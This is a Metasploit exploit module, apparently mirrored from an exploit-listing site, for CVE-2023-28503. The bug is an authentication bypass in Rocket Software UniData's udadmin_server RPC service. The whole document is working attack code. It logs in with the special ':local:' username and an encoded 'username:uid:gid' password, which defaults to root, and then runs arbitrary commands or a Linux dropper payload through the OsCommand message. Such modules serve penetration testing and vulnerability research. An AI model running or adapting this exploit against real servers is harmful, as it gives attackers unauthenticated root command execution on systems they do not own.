Share
## https://sploitus.com/exploit?id=PACKETSTORM:171854
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Remote::Unirpc  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Rocket Software Unidata udadmin_server Authentication Bypass',  
'Description' => %q{  
This module exploits an authentication bypass vulnerability in the  
Linux version of udadmin_server, which is an RPC service that comes  
with the Rocket Software UniData server. This affects versions of  
UniData prior to 8.2.4 build 3003.  
  
This service typically runs as root. It accepts a username of  
":local:" and a password in the form of "<username>:<uid>:<gid>",  
where username and uid must be a valid account, but gid can be  
anything except 0.  
  
This exploit takes advantage of this login account to authenticate  
as a chosen user and run an arbitrary command (using the built-in  
OsCommand message).  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Ron Bowes', # Discovery, PoC, module  
],  
'References' => [  
[ 'URL', 'https://www.rapid7.com/blog/post/2023/03/29/multiple-vulnerabilities-in-rocket-software-unirpc-server-fixed' ],  
[ 'CVE', '2023-28503' ],  
],  
'Platform' => ['linux', 'unix'],  
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 31438,  
'PrependFork' => true  
},  
'Privileged' => true,  
'DisclosureDate' => '2023-03-30',  
'Notes' => {  
'SideEffects' => [],  
'Reliability' => [REPEATABLE_SESSION],  
'Stability' => [CRASH_SAFE]  
}  
)  
)  
  
register_options(  
[  
OptString.new('UNIRPC_USERNAME', [ true, 'Linux username to authenticate with (must match the uid)', 'root']),  
OptInt.new('UNIRPC_UID', [ true, 'Linux uid to authenticate with (must correspond to the username)', 0]),  
OptInt.new('UNIRPC_GID', [ true, 'gid to authenticate with (must not be 0, does not need to correspond to the username)', 1000]),  
]  
)  
  
register_advanced_options(  
[  
OptString.new('UNIRPC_ENDPOINT', [ true, 'The UniRPC service to request', 'udadmin']),  
]  
)  
end  
  
# We can detect UniRPC by performing a version check, but the version number  
# didn't increment in the patch (only the build number did, which AFAICT we  
# can't access), so just do a sanity check  
def check  
version = unirpc_get_version  
vprint_status("Detected UniRPC version #{version} is running")  
  
Exploit::CheckCode::Detected  
rescue UniRPCCommunicationError => e  
return CheckCode::Safe("Could not communicate with the UniRPC server: #{e}")  
rescue UniRPCUnexpectedResponseError => e  
return CheckCode::Safe("UniRPC server returned something unexpected: #{e}")  
end  
  
def execute_command(cmd, _opts = {})  
vprint_status('Sending OsCommand request')  
sock.put(build_unirpc_message(args: [  
# Message type  
{ type: :integer, value: UNIRPC_MESSAGE_OSCOMMAND },  
{ type: :string, value: cmd },  
]))  
end  
  
def exploit  
# Sanity check  
if datastore['UNIRPC_GID'] == 0  
fail_with(Failure::BadConfig, 'UNIRPC_GID cannot be 0')  
end  
  
# Connect to the service  
connect  
  
# Connect to the RPC service (probably "udadmin")  
vprint_status("Connecting to UniRPC endpoint #{datastore['UNIRPC_ENDPOINT']}")  
sock.put(build_unirpc_message(args: [  
# Service name  
{ type: :string, value: datastore['UNIRPC_ENDPOINT'] },  
  
# "Secure" flag - this must be non-zero if the server is started in  
# "secure" mode (-s)  
{ type: :integer, value: 1 },  
]))  
  
# This will throw an error if the login fails, otherwise we can discard the  
# result  
recv_unirpc_message(sock, first_result_is_status: true)  
  
# Prepare the authentication bypass  
username = ':local:'  
password = "#{datastore['UNIRPC_USERNAME']}:#{datastore['UNIRPC_UID']}:#{datastore['UNIRPC_GID']}"  
vprint_status("Authenticating to RPC service as #{username} / #{password}")  
  
# Send the authentication message  
sock.put(build_unirpc_message(args: [  
# Message type  
{ type: :integer, value: UNIRPC_MESSAGE_LOGIN },  
  
# Username  
# ":local:" is a special value that skips login  
{ type: :string, value: username },  
  
# Password (encoded by making each byte negative)  
# I think if username is :local:, this is username:uid:gid (gid can't be 0)  
{ type: :string, value: password.bytes.map { |b| (0x0FF & (~b)).chr }.join },  
]))  
  
# Once again, we only care if this fails - if the status is an error  
recv_unirpc_message(sock, first_result_is_status: true)  
  
# Run the command(s)  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
rescue UniRPCCommunicationError => e  
fail_with(Failure::Unreachable, "Could not communicate with the UniRPC server: #{e}")  
rescue UniRPCUnexpectedResponseError => e  
fail_with(Failure::UnexpectedReply, "UniRPC server returned something unexpected: #{e}")  
end  
end